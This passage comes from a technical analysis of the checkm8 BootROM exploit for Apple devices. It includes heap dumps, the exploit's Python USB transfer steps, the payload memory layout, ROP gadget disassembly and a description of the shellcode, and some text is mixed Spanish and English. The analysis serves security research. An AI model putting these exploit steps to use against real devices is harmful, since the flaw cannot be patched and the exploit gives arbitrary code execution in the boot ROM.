00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
También puede lograr un efecto interesante desbordando los descriptores de configuración High Speedy Full Speedque se encuentran justo después del IObúfer. Uno de los campos de un descriptor de configuración es responsable de su longitud total. Al desbordar este campo, podemos leer más allá del descriptor. Puedes intentar hacerlo tú mismo modificando el exploit.
2. Asignación y liberación del búfer IO sin borrar el estado global
device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device)
En esta etapa, OUTse crea una solicitud incompleta para cargar la imagen. Al mismo tiempo, se inicializa un estado global y la dirección del búfer en el montón se escribe en io_buffer. Luego, DFUse reinicia con una DFU_CLR_STATUSsolicitud y DFUcomienza una nueva iteración de .
3. Overwriting usb_device_io_request in the heap with use-after-free
device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
At this stage, a usb_device_io_request type object is allocated in the heap, and it is overflown with t8010_overwrite , whose content was defined at the first stage.
The values of t8010_nop_gadget and 0x1800B0800 should overflow the fields callback and next of the usb_device_io_request structure.
t8010_nop_gadget is shown below and conforms to its name, but besides function return, the previous LR register is restored, and because of that the call free is skipped after the callback function in usb_core_complete_endpoint_io . This is important, because we damage the heap's metadata due to overflow, which would affect the exploit in case of a freeing attempt.
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
next points to INSECURE_MEMORY + 0x800 . Later, INSECURE_MEMORY will store the exploit's payload, and at the offset of 0x800 in the payload, there is a callback-chain , which we'll discuss later on.
4. Placing the payload
for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
At this stage, every following packet is put into the memory area allocated for the image. The payload looks like this:
0x1800B0000: t8010_shellcode # initializing shell-code ... 0x1800B0180: t8010_handler # new usb request handler ... 0x1800B0400: 0x1000006a5 # fake translation table descriptor # corresponds to SecureROM (0x100000000 -> 0x100000000) # matches the value in the original translation table ... 0x1800B0600: 0x60000180000625 # fake translation table descriptor # corresponds to SecureRAM (0x180000000 -> 0x180000000) # matches the value in the original translation table 0x1800B0608: 0x1800006a5 # fake translation table descriptor # new value translates 0x182000000 into 0x180000000 # plus, in this descriptor,there are rights for code execution 0x1800B0610: disabe_wxn_arm64 # code for disabling WXN 0x1800B0800: usb_rop_callbacks # callback-chain
5. Execution of callback-chain
dfu.usb_reset(device) dfu.release_device(device)
After USB reset, the loop of canceling incomplete usb_device_io_request in the queue by going through a linked list is started. In the previous stages, we replaced the rest of the queue, which allows us to control the callback chain. To build this chain, we use this gadget:
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET
As you can see, at the offset of 0x70 from the pointer to the structure, the call's address and its first argument are loaded. With this gadget, we can easily make any f(x) type calls for arbitrary f and x .
The entire call chain can be easily emulated with Unicorn Engine . We did it with our modified version of the plugin uEmu .
The results of the entire chain for iPhone 7 can be found below.
5.1. dc_civac 0x1800B0600
000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET
Clearing and invalidating the processor's cache at a virtual address. This will make the processor address our payload later.
5.2. dmb
0000000100000478: DMB SY 000000010000047C: RET
A memory barrier that guarantees the completion of all operations with the memory done before this instruction. Instructions in high-performance processors can be executed in an order different from the programmed one for the purpose of optimization.
5.3. enter_critical_section()
Then, interrupts are masked for the atomic execution of further operations.
5.4. write_ttbr0(0x1800B0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
A new value of the table register TTBR0_EL1 is set in 0x1800B0000 . It is the address of INSECURE MEMORY where the exploit's payload is stored. As was mentioned before, the translation descriptors are located at certain offsets in the payload:
... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ...
5.5. tlbi
0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET
The translation table is invalidated in order to translate addresses according to our new translation table.
5.6. 0x1820B0610 - disable_wxn_arm64
MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET
WXN (Write permission implies Execute-never) is disabled to allow us execute code in RW memory. The execution of the WXN disabling code is possible due to the modified translation table.
5.7. write_ttbr0(0x1800A0000)
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET
The original value of the TTBR0_EL1 translation register is restored. It is necessary for the correct operation of BootROM during the translation of virtual addresses because the data in INSECURE_MEMORY will be overwritten.
5.8. tlbi
The translation table is reset again.
5.9. exit_critical_section()
Interrupt handling is back to normal.
5.10. 0x1800B0000
Control is transferred to the initializing shellcode .
Thus, the main task of callback-chain is to disable WXN and transfer control to the shellcode in RW memory.
6. Execution of shellcode
The shellcode is in src/checkm8_arm64.S and does the following:
6.1. Overwriting USB configuration descriptors
In the global memory, two pointers to configuration descriptors usb_core_hs_configuration_descriptor and usb_core_fs_configuration_descriptor located in the heap are stored. In the third stage, these descriptors were damaged. They are necessary for the correct interaction with a USB device, so the shellcode restores them.
6.2. Changing USBSerialNumber
A new string descriptor with a serial number is created with a substring " PWND:[checkm8]" added to it. This will help us understand if the exploit was successful.
6.3. Overwriting the pointer of the USB request handler
The original pointer to the handler of USB requests to the interface is overwritten by a pointer to a new handler, which will be placed in the memory at the next step.
6.4. Copying USB request handler into TRAMPOLINE memory area ( 0x1800AFC00 )
Upon receiving a USB request, the new handler checks the wValue of the request against 0xffff and if they're not equal, it transfers control back to the original handler. If they are equal, various commands can be executed in the new handlers, like memcpy , memset , and exec (calling an arbitrary address with an arbitrary set of arguments).
Thus, the analysis of the exploit is complete.
The implementation of the exploit at a lower level of working with USB
As a bonus and an example of the attack at lower levels, we published a Proof-of-Concept of the checkm8 implementation on Arduino with USB Host Shield . The PoC works only for iPhone 7 but can be easily ported to other devices. When an iPhone 7 in DFU mode is connected to USB Host Shield , all the steps described in this article will be executed, and the device will enter PWND:[checkm8] mode. Then, it can be connected to a PC via USB to work with it using ipwndfu (to dump memory, use crypto keys, etc.). This method is more stable than using asynchronous requests with a minimal timeout because we work directly with the USB controller. We used the USB_Host_Shield_2.0 library. It needs minor modifications; the patch file is also in the repository.
In place of a conclusion
Analyzing checkm8 was very interesting. We hope that this article will be useful for the community and will motivate new research in this area. The vulnerability will continue to influence the jailbreak community. A jailbreak based on checkm8 is already being developed — checkra1n , and since the vulnerability is unfixable, it will always work on vulnerable chips ( A5 to A11 ) regardless of the iOS version. Plus, there are many vulnerable devices, like iWatch , Apple TV , etc. We expect more interesting projects for Apple devices to come.
Besides jailbreak, this vulnerability will also influence the researchers of Apple devices. With checkm8 , you can already boot iOS devices in verbose mode, dump SecureROM , or use the GID key to decrypt firmware images. Although, the most interesting application for this exploit would be entering debug mode on vulnerable devices with a special JTAG/SWD cable . Before that, it could only be done with special prototypes that are extremely hard to get or with the help of special services . Thus, with checkm8 , Apple research becomes way easier and cheaper.
References
- Jonathan Levin, *OS Internals: iBoot
- Apple, iOS Security Guide
- littlelailo, apollo.txt
- usb.org
- USB in a NutShell
- ipwndfu
- an ipwndfu fork from LinusHenze